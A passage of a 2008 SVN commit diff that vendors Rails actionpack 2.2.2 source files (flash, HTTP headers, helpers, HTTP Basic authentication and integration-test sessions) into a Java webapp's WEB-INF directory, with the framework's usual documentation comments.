+      # Mark for removal entries that were kept, and delete unkept ones.
+      #
+      # This method is called automatically by filters, so you generally don't need to care about it.
+      def sweep #:nodoc:
+        keys.each do |k| 
+          unless @used[k]
+            use(k)
+          else
+            delete(k)
+            @used.delete(k)
+          end
+        end
+
+        # clean up after keys that could have been left over by calling reject! or shift on the flash
+        (@used.keys - keys).each{ |k| @used.delete(k) }
+      end
+    
+      private
+        # Used internally by the <tt>keep</tt> and <tt>discard</tt> methods
+        #     use()               # marks the entire flash as used
+        #     use('msg')          # marks the "msg" entry as used
+        #     use(nil, false)     # marks the entire flash as unused (keeps it around for one more action)
+        #     use('msg', false)   # marks the "msg" entry as unused (keeps it around for one more action)
+        def use(k=nil, v=true)
+          unless k.nil?
+            @used[k] = v
+          else
+            keys.each{ |key| use(key, v) }
+          end
+        end
+    end
+
+    module InstanceMethods #:nodoc:
+      protected
+        def reset_session_with_flash
+          reset_session_without_flash
+          remove_instance_variable(:@_flash)
+          flash(:refresh)
+        end
+      
+        # Access the contents of the flash. Use <tt>flash["notice"]</tt> to read a notice you put there or 
+        # <tt>flash["notice"] = "hello"</tt> to put a new one.
+        # Note that if sessions are disabled only flash.now will work.
+        def flash(refresh = false) #:doc:
+          if !defined?(@_flash) || refresh
+            @_flash =
+              if session.is_a?(Hash)
+                # don't put flash in session if disabled
+                FlashHash.new
+              else
+                # otherwise, session is a CGI::Session or a TestSession
+                # so make sure it gets retrieved from/saved to session storage after request processing
+                session["flash"] ||= FlashHash.new
+              end
+          end
+
+          @_flash
+        end
+
+      private
+        def assign_shortcuts_with_flash(request, response) #:nodoc:
+          assign_shortcuts_without_flash(request, response)
+          flash(:refresh)
+          flash.sweep if @_session && !component_request?
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/headers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/headers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/headers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'active_support/memoizable'
+
+module ActionController
+  module Http
+    class Headers < ::Hash
+      extend ActiveSupport::Memoizable
+
+      def initialize(*args)
+         if args.size == 1 && args[0].is_a?(Hash)
+           super()
+           update(args[0])
+         else
+           super
+         end
+       end
+
+      def [](header_name)
+        if include?(header_name)
+          super
+        else
+          super(env_name(header_name))
+        end
+      end
+
+      private
+        # Converts a HTTP header name to an environment variable name.
+        def env_name(header_name)
+          "HTTP_#{header_name.upcase.gsub(/-/, '_')}"
+        end
+        memoize :env_name
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/helpers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/helpers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/helpers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,221 @@
+# FIXME: helper { ... } is broken on Ruby 1.9
+module ActionController #:nodoc:
+  module Helpers #:nodoc:
+    HELPERS_DIR = (defined?(RAILS_ROOT) ? "#{RAILS_ROOT}/app/helpers" : "app/helpers")
+
+    def self.included(base)
+      # Initialize the base module to aggregate its helpers.
+      base.class_inheritable_accessor :master_helper_module
+      base.master_helper_module = Module.new
+
+      # Extend base with class methods to declare helpers.
+      base.extend(ClassMethods)
+
+      base.class_eval do
+        # Wrap inherited to create a new master helper module for subclasses.
+        class << self
+          alias_method_chain :inherited, :helper
+        end
+      end
+    end
+
+    # The Rails framework provides a large number of helpers for working with +assets+, +dates+, +forms+, 
+    # +numbers+ and Active Record objects, to name a few. These helpers are available to all templates
+    # by default.
+    #
+    # In addition to using the standard template helpers provided in the Rails framework, creating custom helpers to
+    # extract complicated logic or reusable functionality is strongly encouraged.  By default, the controller will 
+    # include a helper whose name matches that of the controller, e.g., <tt>MyController</tt> will automatically
+    # include <tt>MyHelper</tt>.
+    # 
+    # Additional helpers can be specified using the +helper+ class method in <tt>ActionController::Base</tt> or any
+    # controller which inherits from it.
+    #
+    # ==== Examples
+    # The +to_s+ method from the Time class can be wrapped in a helper method to display a custom message if 
+    # the Time object is blank:
+    #
+    #   module FormattedTimeHelper
+    #     def format_time(time, format=:long, blank_message="&nbsp;")
+    #       time.blank? ? blank_message : time.to_s(format)
+    #     end
+    #   end
+    #
+    # FormattedTimeHelper can now be included in a controller, using the +helper+ class method:
+    #
+    #   class EventsController < ActionController::Base
+    #     helper FormattedTimeHelper
+    #     def index
+    #       @events = Event.find(:all)
+    #     end
+    #   end
+    #
+    # Then, in any view rendered by <tt>EventController</tt>, the <tt>format_time</tt> method can be called:
+    #
+    #   <% @events.each do |event| -%>
+    #     <p>
+    #       <% format_time(event.time, :short, "N/A") %> | <%= event.name %> 
+    #     </p>
+    #   <% end -%>
+    #
+    # Finally, assuming we have two event instances, one which has a time and one which does not, 
+    # the output might look like this:
+    #
+    #   23 Aug 11:30 | Carolina Railhawks Soccer Match 
+    #   N/A | Carolina Railhaws Training Workshop
+    #
+    module ClassMethods
+      # Makes all the (instance) methods in the helper module available to templates rendered through this controller.
+      # See ActionView::Helpers (link:classes/ActionView/Helpers.html) for more about making your own helper modules
+      # available to the templates.
+      def add_template_helper(helper_module) #:nodoc:
+        master_helper_module.module_eval { include helper_module }
+      end
+
+      # The +helper+ class method can take a series of helper module names, a block, or both.
+      #
+      # * <tt>*args</tt>: One or more modules, strings or symbols, or the special symbol <tt>:all</tt>.
+      # * <tt>&block</tt>: A block defining helper methods.
+      # 
+      # ==== Examples
+      # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file 
+      # and include the module in the template class.  The second form illustrates how to include custom helpers 
+      # when working with namespaced controllers, or other cases where the file containing the helper definition is not
+      # in one of Rails' standard load paths:
+      #   helper :foo             # => requires 'foo_helper' and includes FooHelper
+      #   helper 'resources/foo'  # => requires 'resources/foo_helper' and includes Resources::FooHelper
+      #
+      # When the argument is a module it will be included directly in the template class.
+      #   helper FooHelper # => includes FooHelper
+      #
+      # When the argument is the symbol <tt>:all</tt>, the controller will include all helpers from 
+      # <tt>app/helpers/**/*.rb</tt> under RAILS_ROOT.
+      #   helper :all
+      #
+      # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available 
+      # to the template.
+      #   # One line
+      #   helper { def hello() "Hello, world!" end }
+      #   # Multi-line
+      #   helper do
+      #     def foo(bar) 
+      #       "#{bar} is the very best" 
+      #     end
+      #   end
+      # 
+      # Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
+      # +symbols+, +strings+, +modules+ and blocks.
+      #   helper(:three, BlindHelper) { def mice() 'mice' end }
+      #
+      def helper(*args, &block)
+        args.flatten.each do |arg|
+          case arg
+            when Module
+              add_template_helper(arg)
+            when :all
+              helper(all_application_helpers)
+            when String, Symbol
+              file_name  = arg.to_s.underscore + '_helper'
+              class_name = file_name.camelize
+
+              begin
+                require_dependency(file_name)
+              rescue LoadError => load_error
+                requiree = / -- (.*?)(\.rb)?$/.match(load_error.message).to_a[1]
+                if requiree == file_name
+                  msg = "Missing helper file helpers/#{file_name}.rb"
+                  raise LoadError.new(msg).copy_blame!(load_error)
+                else
+                  raise
+                end
+              end
+
+              add_template_helper(class_name.constantize)
+            else
+              raise ArgumentError, "helper expects String, Symbol, or Module argument (was: #{args.inspect})"
+          end
+        end
+
+        # Evaluate block in template class if given.
+        master_helper_module.module_eval(&block) if block_given?
+      end
+
+      # Declare a controller method as a helper. For example, the following
+      # makes the +current_user+ controller method available to the view:
+      #   class ApplicationController < ActionController::Base
+      #     helper_method :current_user, :logged_in?
+      #
+      #     def current_user
+      #       @current_user ||= User.find_by_id(session[:user])
+      #     end
+      #
+      #      def logged_in?
+      #        current_user != nil
+      #      end
+      #   end
+      #
+      # In a view:
+      #  <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
+      def helper_method(*methods)
+        methods.flatten.each do |method|
+          master_helper_module.module_eval <<-end_eval
+            def #{method}(*args, &block)
+              controller.send(%(#{method}), *args, &block)
+            end
+          end_eval
+        end
+      end
+
+      # Declares helper accessors for controller attributes. For example, the
+      # following adds new +name+ and <tt>name=</tt> instance methods to a
+      # controller and makes them available to the view:
+      #   helper_attr :name
+      #   attr_accessor :name
+      def helper_attr(*attrs)
+        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
+      end
+
+      # Provides a proxy to access helpers methods from outside the view.
+      def helpers
+        unless @helper_proxy
+          @helper_proxy = ActionView::Base.new
+          @helper_proxy.extend master_helper_module
+        else
+          @helper_proxy
+        end
+      end
+
+      private
+        def default_helper_module!
+          unless name.blank?
+            module_name = name.sub(/Controller$|$/, 'Helper')
+            module_path = module_name.split('::').map { |m| m.underscore }.join('/')
+            require_dependency module_path
+            helper module_name.constantize
+          end
+        rescue MissingSourceFile => e
+          raise unless e.is_missing? module_path
+        rescue NameError => e
+          raise unless e.missing_name? module_name
+        end
+
+        def inherited_with_helper(child)
+          inherited_without_helper(child)
+
+          begin
+            child.master_helper_module = Module.new
+            child.master_helper_module.__send__ :include, master_helper_module
+            child.__send__ :default_helper_module!
+          rescue MissingSourceFile => e
+            raise unless e.is_missing?("helpers/#{child.controller_path}_helper")
+          end
+        end
+
+        # Extract helper names from files in app/helpers/**/*.rb
+        def all_application_helpers
+          extract = /^#{Regexp.quote(HELPERS_DIR)}\/?(.*)_helper.rb$/
+          Dir["#{HELPERS_DIR}/**/*_helper.rb"].map { |file| file.sub extract, '\1' }
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/http_authentication.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/http_authentication.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/http_authentication.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,124 @@
+module ActionController
+  module HttpAuthentication
+    # Makes it dead easy to do HTTP Basic authentication.
+    # 
+    # Simple Basic example:
+    # 
+    #   class PostsController < ApplicationController
+    #     USER_NAME, PASSWORD = "dhh", "secret"
+    #   
+    #     before_filter :authenticate, :except => [ :index ]
+    #   
+    #     def index
+    #       render :text => "Everyone can see me!"
+    #     end
+    #   
+    #     def edit
+    #       render :text => "I'm only accessible if you know the password"
+    #     end
+    #   
+    #     private
+    #       def authenticate
+    #         authenticate_or_request_with_http_basic do |user_name, password| 
+    #           user_name == USER_NAME && password == PASSWORD
+    #         end
+    #       end
+    #   end
+    # 
+    # 
+    # Here is a more advanced Basic example where only Atom feeds and the XML API is protected by HTTP authentication, 
+    # the regular HTML interface is protected by a session approach:
+    # 
+    #   class ApplicationController < ActionController::Base
+    #     before_filter :set_account, :authenticate
+    #   
+    #     protected
+    #       def set_account
+    #         @account = Account.find_by_url_name(request.subdomains.first)
+    #       end
+    #   
+    #       def authenticate
+    #         case request.format
+    #         when Mime::XML, Mime::ATOM
+    #           if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
+    #             @current_user = user
+    #           else
+    #             request_http_basic_authentication
+    #           end
+    #         else
+    #           if session_authenticated?
+    #             @current_user = @account.users.find(session[:authenticated][:user_id])
+    #           else
+    #             redirect_to(login_url) and return false
+    #           end
+    #         end
+    #       end
+    #   end
+    # 
+    # 
+    # In your integration tests, you can do something like this:
+    # 
+    #   def test_access_granted_from_xml
+    #     get(
+    #       "/notes/1.xml", nil, 
+    #       :authorization => ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
+    #     )
+    # 
+    #     assert_equal 200, status
+    #   end
+    #  
+    #  
+    # On shared hosts, Apache sometimes doesn't pass authentication headers to
+    # FCGI instances. If your environment matches this description and you cannot
+    # authenticate, try this rule in your Apache setup:
+    # 
+    #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
+    module Basic
+      extend self
+
+      module ControllerMethods
+        def authenticate_or_request_with_http_basic(realm = "Application", &login_procedure)
+          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm)
+        end
+
+        def authenticate_with_http_basic(&login_procedure)
+          HttpAuthentication::Basic.authenticate(self, &login_procedure)
+        end
+
+        def request_http_basic_authentication(realm = "Application")
+          HttpAuthentication::Basic.authentication_request(self, realm)
+        end
+      end
+
+      def authenticate(controller, &login_procedure)
+        unless authorization(controller.request).blank?
+          login_procedure.call(*user_name_and_password(controller.request))
+        end
+      end
+
+      def user_name_and_password(request)
+        decode_credentials(request).split(/:/, 2)
+      end
+  
+      def authorization(request)
+        request.env['HTTP_AUTHORIZATION']   ||
+        request.env['X-HTTP_AUTHORIZATION'] ||
+        request.env['X_HTTP_AUTHORIZATION'] ||
+        request.env['REDIRECT_X_HTTP_AUTHORIZATION']
+      end
+    
+      def decode_credentials(request)
+        ActiveSupport::Base64.decode64(authorization(request).split.last || '')
+      end
+
+      def encode_credentials(user_name, password)
+        "Basic #{ActiveSupport::Base64.encode64("#{user_name}:#{password}")}"
+      end
+
+      def authentication_request(controller, realm)
+        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}")
+        controller.__send__ :render, :text => "HTTP Basic: Access denied.\n", :status => :unauthorized
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/integration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/integration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/integration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,631 @@
+require 'active_support/test_case'
+require 'action_controller/dispatcher'
+require 'action_controller/test_process'
+
+require 'stringio'
+require 'uri'
+
+module ActionController
+  module Integration #:nodoc:
+    # An integration Session instance represents a set of requests and responses
+    # performed sequentially by some virtual user. Becase you can instantiate
+    # multiple sessions and run them side-by-side, you can also mimic (to some
+    # limited extent) multiple simultaneous users interacting with your system.
+    #
+    # Typically, you will instantiate a new session using IntegrationTest#open_session,
+    # rather than instantiating Integration::Session directly.
+    class Session
+      include Test::Unit::Assertions
+      include ActionController::Assertions
+      include ActionController::TestProcess
+
+      # The integer HTTP status code of the last request.
+      attr_reader :status
+
+      # The status message that accompanied the status code of the last request.
+      attr_reader :status_message
+
+      # The URI of the last request.
+      attr_reader :path
+
+      # The hostname used in the last request.
+      attr_accessor :host
+
+      # The remote_addr used in the last request.
+      attr_accessor :remote_addr
+
+      # The Accept header to send.
+      attr_accessor :accept
+
+      # A map of the cookies returned by the last response, and which will be
+      # sent with the next request.
+      attr_reader :cookies
+
+      # A map of the headers returned by the last response.
+      attr_reader :headers
+
+      # A reference to the controller instance used by the last request.
+      attr_reader :controller
+
+      # A reference to the request instance used by the last request.
+      attr_reader :request
+
+      # A reference to the response instance used by the last request.
+      attr_reader :response
+
+      # A running counter of the number of requests processed.
+      attr_accessor :request_count
+
+      class MultiPartNeededException < Exception
+      end
+
+      # Create and initialize a new Session instance.
+      def initialize
+        reset!
+      end
+
+      # Resets the instance. This can be used to reset the state information
+      # in an existing session instance, so it can be used from a clean-slate
+      # condition.
+      #
+      #   session.reset!
+      def reset!
+        @status = @path = @headers = nil
+        @result = @status_message = nil
+        @https = false
+        @cookies = {}
+        @controller = @request = @response = nil
+        @request_count = 0
+
+        self.host        = "www.example.com"
+        self.remote_addr = "127.0.0.1"
+        self.accept      = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+
+        unless defined? @named_routes_configured
+          # install the named routes in this session instance.
+          klass = class<<self; self; end
+          Routing::Routes.install_helpers(klass)
+
+          # the helpers are made protected by default--we make them public for
+          # easier access during testing and troubleshooting.
+          klass.module_eval { public *Routing::Routes.named_routes.helpers }
+          @named_routes_configured = true
+        end
+      end
+
+      # Specify whether or not the session should mimic a secure HTTPS request.
+      #
+      #   session.https!
+      #   session.https!(false)
+      def https!(flag=true)
+        @https = flag
+      end
+
+      # Return +true+ if the session is mimicking a secure HTTPS request.
+      #
+      #   if session.https?
+      #     ...
+      #   end
+      def https?
+        @https
+      end
+
+      # Set the host name to use in the next request.
+      #
+      #   session.host! "www.example.com"
+      def host!(name)
+        @host = name
+      end
+
+      # Follow a single redirect response. If the last response was not a
+      # redirect, an exception will be raised. Otherwise, the redirect is
+      # performed on the location header.
+      def follow_redirect!
+        raise "not a redirect! #{@status} #{@status_message}" unless redirect?
+        get(interpret_uri(headers['location'].first))
+        status
+      end
+
+      # Performs a request using the specified method, following any subsequent
+      # redirect. Note that the redirects are followed until the response is
+      # not a redirect--this means you may run into an infinite loop if your
+      # redirect loops back to itself.
+      def request_via_redirect(http_method, path, parameters = nil, headers = nil)
+        send(http_method, path, parameters, headers)
+        follow_redirect! while redirect?
+        status
+      end
+
+      # Performs a GET request, following any subsequent redirect.
+      # See +request_via_redirect+ for more information.
+      def get_via_redirect(path, parameters = nil, headers = nil)
+        request_via_redirect(:get, path, parameters, headers)
+      end
+
+      # Performs a POST request, following any subsequent redirect.
+      # See +request_via_redirect+ for more information.
+      def post_via_redirect(path, parameters = nil, headers = nil)
+        request_via_redirect(:post, path, parameters, headers)
+      end
+
+      # Performs a PUT request, following any subsequent redirect.
+      # See +request_via_redirect+ for more information.
+      def put_via_redirect(path, parameters = nil, headers = nil)
+        request_via_redirect(:put, path, parameters, headers)
+      end
+
+      # Performs a DELETE request, following any subsequent redirect.
+      # See +request_via_redirect+ for more information.
+      def delete_via_redirect(path, parameters = nil, headers = nil)
+        request_via_redirect(:delete, path, parameters, headers)
+      end
+
+      # Returns +true+ if the last response was a redirect.
+      def redirect?
+        status/100 == 3
+      end
+
+      # Performs a GET request with the given parameters.
+      #
+      # - +path+: The URI (as a String) on which you want to perform a GET request.
+      # - +parameters+: The HTTP parameters that you want to pass. This may be +nil+,
+      #   a Hash, or a String that is appropriately encoded
+      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+      # - +headers+: Additional HTTP headers to pass, as a Hash. The keys will
+      #   automatically be upcased, with the prefix 'HTTP_' added if needed.
+      #
+      # This method returns an AbstractResponse object, which one can use to inspect
+      # the details of the response. Furthermore, if this method was called from an
+      # ActionController::IntegrationTest object, then that object's <tt>@response</tt>
+      # instance variable will point to the same response object.
+      #
+      # You can also perform POST, PUT, DELETE, and HEAD requests with +post+,
+      # +put+, +delete+, and +head+.
+      def get(path, parameters = nil, headers = nil)
+        process :get, path, parameters, headers
+      end
+
+      # Performs a POST request with the given parameters. See get() for more details.
+      def post(path, parameters = nil, headers = nil)
+        process :post, path, parameters, headers
+      end
+
+      # Performs a PUT request with the given parameters. See get() for more details.
+      def put(path, parameters = nil, headers = nil)
+        process :put, path, parameters, headers
+      end
+
+      # Performs a DELETE request with the given parameters. See get() for more details.
+      def delete(path, parameters = nil, headers = nil)
+        process :delete, path, parameters, headers
+      end
+
+      # Performs a HEAD request with the given parameters. See get() for more details.
+      def head(path, parameters = nil, headers = nil)
+        process :head, path, parameters, headers
+      end
+
+      # Performs an XMLHttpRequest request with the given parameters, mirroring
+      # a request from the Prototype library.
+      #
+      # The request_method is :get, :post, :put, :delete or :head; the
+      # parameters are +nil+, a hash, or a url-encoded or multipart string;
+      # the headers are a hash.  Keys are automatically upcased and prefixed
+      # with 'HTTP_' if not already.
+      def xml_http_request(request_method, path, parameters = nil, headers = nil)
+        headers ||= {}
+        headers['X-Requested-With'] = 'XMLHttpRequest'
+        headers['Accept'] ||= 'text/javascript, text/html, application/xml, text/xml, */*'
+
+        process(request_method, path, parameters, headers)
+      end
+      alias xhr :xml_http_request
+
+      # Returns the URL for the given options, according to the rules specified
+      # in the application's routes.
+      def url_for(options)
+        controller ? controller.url_for(options) : generic_url_rewriter.rewrite(options)
+      end
+
+      private
+        # Tailors the session based on the given URI, setting the HTTPS value
+        # and the hostname.
+        def interpret_uri(path)
+          location = URI.parse(path)
+          https! URI::HTTPS === location if location.scheme
+          host! location.host if location.host
+          location.query ? "#{location.path}?#{location.query}" : location.path
+        end
+
+        # Performs the actual request.
+        def process(method, path, parameters = nil, headers = nil)
+          data = requestify(parameters)
+          path = interpret_uri(path) if path =~ %r{://}
+          path = "/#{path}" unless path[0] == ?/
+          @path = path
+          env = {}
+
+          if method == :get
+            env["QUERY_STRING"] = data
+            data = nil
+          end
+
+          env.update(
+            "REQUEST_METHOD" => method.to_s.upcase,
+            "REQUEST_URI"    => path,
+            "HTTP_HOST"      => host,
+            "REMOTE_ADDR"    => remote_addr,
+            "SERVER_PORT"    => (https? ? "443" : "80"),
+            "CONTENT_TYPE"   => "application/x-www-form-urlencoded",
+            "CONTENT_LENGTH" => data ? data.length.to_s : nil,
+            "HTTP_COOKIE"    => encode_cookies,
+            "HTTPS"          => https? ? "on" : "off",
+            "HTTP_ACCEPT"    => accept
+          )
+
+          (headers || {}).each do |key, value|
+            key = key.to_s.upcase.gsub(/-/, "_")
+            key = "HTTP_#{key}" unless env.has_key?(key) || key =~ /^HTTP_/
+            env[key] = value
+          end
+
+          unless ActionController::Base.respond_to?(:clear_last_instantiation!)
+            ActionController::Base.module_eval { include ControllerCapture }
+          end
+
+          ActionController::Base.clear_last_instantiation!
+
+          env['rack.input'] = data.is_a?(IO) ? data : StringIO.new(data || '')
+          @status, @headers, result_body = ActionController::Dispatcher.new.mark_as_test_request!.call(env)
+          @request_count += 1
+
+          @controller = ActionController::Base.last_instantiation
+          @request = @controller.request
+          @response = @controller.response
+
+          # Decorate the response with the standard behavior of the TestResponse
+          # so that things like assert_response can be used in integration
+          # tests.
+          @response.extend(TestResponseBehavior)
+
+          @html_document = nil
+
+          # Inject status back in for backwords compatibility with CGI
+          @headers['Status'] = @status
+
+          @status, @status_message = @status.split(/ /)
+          @status = @status.to_i
+
+          cgi_headers = Hash.new { |h,k| h[k] = [] }
+          @headers.each do |key, value|
+            cgi_headers[key.downcase] << value
+          end
+          cgi_headers['set-cookie'] = cgi_headers['set-cookie'].first
+          @headers = cgi_headers
+
+          @response.headers['cookie'] ||= []
+          (@headers['set-cookie'] || []).each do |cookie|
+            name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2]
+            @cookies[name] = value
+
+            # Fake CGI cookie header
+            # DEPRECATE: Use response.headers["Set-Cookie"] instead
+            @response.headers['cookie'] << CGI::Cookie::new("name" => name, "value" => value)
+          end
+
+          return status
+        rescue MultiPartNeededException
+          boundary = "----------XnJLe9ZIbbGUYtzPQJ16u1"
+          status = process(method, path, multipart_body(parameters, boundary), (headers || {}).merge({"CONTENT_TYPE" => "multipart/form-data; boundary=#{boundary}"}))
+          return status
+        end
+
+        # Encode the cookies hash in a format suitable for passing to a
+        # request.
+        def encode_cookies
+          cookies.inject("") do |string, (name, value)|
+            string << "#{name}=#{value}; "
+          end
+        end
+
+        # Get a temporary URL writer object
+        def generic_url_rewriter
+          env = {
+            'REQUEST_METHOD' => "GET",
+            'QUERY_STRING'   => "",
+            "REQUEST_URI"    => "/",
+            "HTTP_HOST"      => host,
+            "SERVER_PORT"    => https? ? "443" : "80",
+            "HTTPS"          => https? ? "on" : "off"
+          }
+          ActionController::UrlRewriter.new(ActionController::RackRequest.new(env), {})
+        end
+
+        def name_with_prefix(prefix, name)
+          prefix ? "#{prefix}[#{name}]" : name.to_s
+        end
+
+        # Convert the given parameters to a request string. The parameters may
+        # be a string, +nil+, or a Hash.
+        def requestify(parameters, prefix=nil)
+          if TestUploadedFile === parameters
+            raise MultiPartNeededException
+          elsif Hash === parameters
+            return nil if parameters.empty?
+            parameters.map { |k,v| requestify(v, name_with_prefix(prefix, k)) }.join("&")
+          elsif Array === parameters
+            parameters.map { |v| requestify(v, name_with_prefix(prefix, "")) }.join("&")
+          elsif prefix.nil?
+            parameters
+          else
+            "#{CGI.escape(prefix)}=#{CGI.escape(parameters.to_s)}"
+          end
+        end
+
+        def multipart_requestify(params, first=true)
+          returning Hash.new do |p|
+            params.each do |key, value|
+              k = first ? CGI.escape(key.to_s) : "[#{CGI.escape(key.to_s)}]"
+              if Hash === value
+                multipart_requestify(value, false).each do |subkey, subvalue|
+                  p[k + subkey] = subvalue
+                end
+              else
+                p[k] = value
+              end
+            end
+          end
+        end
+
+        def multipart_body(params, boundary)
+          multipart_requestify(params).map do |key, value|
+            if value.respond_to?(:original_filename)
+              File.open(value.path) do |f|
+                f.set_encoding(Encoding::BINARY) if f.respond_to?(:set_encoding)
+
+                <<-EOF
+--#{boundary}\r
+Content-Disposition: form-data; name="#{key}"; filename="#{CGI.escape(value.original_filename)}"\r
+Content-Type: #{value.content_type}\r
+Content-Length: #{File.stat(value.path).size}\r
+\r
+#{f.read}\r
+EOF
+              end
+            else
+<<-EOF
+--#{boundary}\r
+Content-Disposition: form-data; name="#{key}"\r
+\r
+#{value}\r
+EOF
+            end
+          end.join("")+"--#{boundary}--\r"
+        end
+    end
+
+    # A module used to extend ActionController::Base, so that integration tests
+    # can capture the controller used to satisfy a request.
+    module ControllerCapture #:nodoc:
+      def self.included(base)
+        base.extend(ClassMethods)
+        base.class_eval do
+          class << self
+            alias_method_chain :new, :capture
+          end
+        end
+      end
+
+      module ClassMethods #:nodoc:
+        mattr_accessor :last_instantiation
+
+        def clear_last_instantiation!
+          self.last_instantiation = nil
+        end
+
+        def new_with_capture(*args)
+          controller = new_without_capture(*args)
+          self.last_instantiation ||= controller
+          controller
+        end
+      end
+    end
+
+    module Runner
+      # Reset the current session. This is useful for testing multiple sessions
+      # in a single test case.
+      def reset!
+        @integration_session = open_session
+      end
+
+      %w(get post put head delete cookies assigns
+         xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
+        define_method(method) do |*args|
+          reset! unless @integration_session
+          # reset the html_document variable, but only for new get/post calls
+          @html_document = nil unless %w(cookies assigns).include?(method)
+          returning @integration_session.__send__(method, *args) do
+            copy_session_variables!
+          end
+        end
+      end
+
+      # Open a new session instance. If a block is given, the new session is
+      # yielded to the block before being returned.
+      #
+      #   session = open_session do |sess|
+      #     sess.extend(CustomAssertions)
+      #   end
+      #
+      # By default, a single session is automatically created for you, but you
+      # can use this method to open multiple sessions that ought to be tested
+      # simultaneously.
+      def open_session
+        session = Integration::Session.new
+
+        # delegate the fixture accessors back to the test instance
+        extras = Module.new { attr_accessor :delegate, :test_result }
+        if self.class.respond_to?(:fixture_table_names)
+          self.class.fixture_table_names.each do |table_name|
+            name = table_name.tr(".", "_")
+            next unless respond_to?(name)
+            extras.__send__(:define_method, name) { |*args| delegate.send(name, *args) }
+          end
+        end
+
+        # delegate add_assertion to the test case
+        extras.__send__(:define_method, :add_assertion) { test_result.add_assertion }
+        session.extend(extras)
+        session.delegate = self
+        session.test_result = @_result
+
+        yield session if block_given?
+        session
+      end
+
+      # Copy the instance variables from the current session instance into the
+      # test instance.
+      def copy_session_variables! #:nodoc:
+        return unless @integration_session
+        %w(controller response request).each do |var|
+          instance_variable_set("@#{var}", @integration_session.__send__(var))
+        end
+      end
+
+      # Delegate unhandled messages to the current session instance.
+      def method_missing(sym, *args, &block)
+        reset! unless @integration_session
+        returning @integration_session.__send__(sym, *args, &block) do
+          copy_session_variables!
+        end
+      end
+    end
+  end
+
+  # An IntegrationTest is one that spans multiple controllers and actions,
+  # tying them all together to ensure they work together as expected. It tests
+  # more completely than either unit or functional tests do, exercising the
+  # entire stack, from the dispatcher to the database.
+  #
+  # At its simplest, you simply extend IntegrationTest and write your tests
+  # using the get/post methods:
+  #
+  #   require "#{File.dirname(__FILE__)}/test_helper"
+  #
+  #   class ExampleTest < ActionController::IntegrationTest
+  #     fixtures :people
+  #
+  #     def test_login
+  #       # get the login page
+  #       get "/login"
+  #       assert_equal 200, status
+  #
+  #       # post the login and follow through to the home page
+  #       post "/login", :username => people(:jamis).username,
+  #         :password => people(:jamis).password
+  #       follow_redirect!
+  #       assert_equal 200, status
+  #       assert_equal "/home", path
+  #     end
+  #   end
+  #
+  # However, you can also have multiple session instances open per test, and
+  # even extend those instances with assertions and methods to create a very
+  # powerful testing DSL that is specific for your application. You can even
+  # reference any named routes you happen to have defined!
+  #
+  #   require "#{File.dirname(__FILE__)}/test_helper"
+  #
+  #   class AdvancedTest < ActionController::IntegrationTest
+  #     fixtures :people, :rooms
+  #
+  #     def test_login_and_speak
+  #       jamis, david = login(:jamis), login(:david)
+  #       room = rooms(:office)
+  #
+  #       jamis.enter(room)
+  #       jamis.speak(room, "anybody home?")
+  #
+  #       david.enter(room)
+  #       david.speak(room, "hello!")
+  #     end
+  #
+  #     private
+  #
+  #       module CustomAssertions
+  #         def enter(room)
+  #           # reference a named route, for maximum internal consistency!
+  #           get(room_url(:id => room.id))
+  #           assert(...)
+  #           ...
+  #         end
+  #
+  #         def speak(room, message)
+  #           xml_http_request "/say/#{room.id}", :message => message
+  #           assert(...)
+  #           ...
+  #         end
+  #       end
+  #
+  #       def login(who)
+  #         open_session do |sess|
+  #           sess.extend(CustomAssertions)
+  #           who = people(who)
+  #           sess.post "/login", :username => who.username,
+  #             :password => who.password
+  #           assert(...)
+  #         end
+  #       end
+  #   end
+  class IntegrationTest < ActiveSupport::TestCase
+    include Integration::Runner
+
+    # Work around a bug in test/unit caused by the default test being named
+    # as a symbol (:default_test), which causes regex test filters
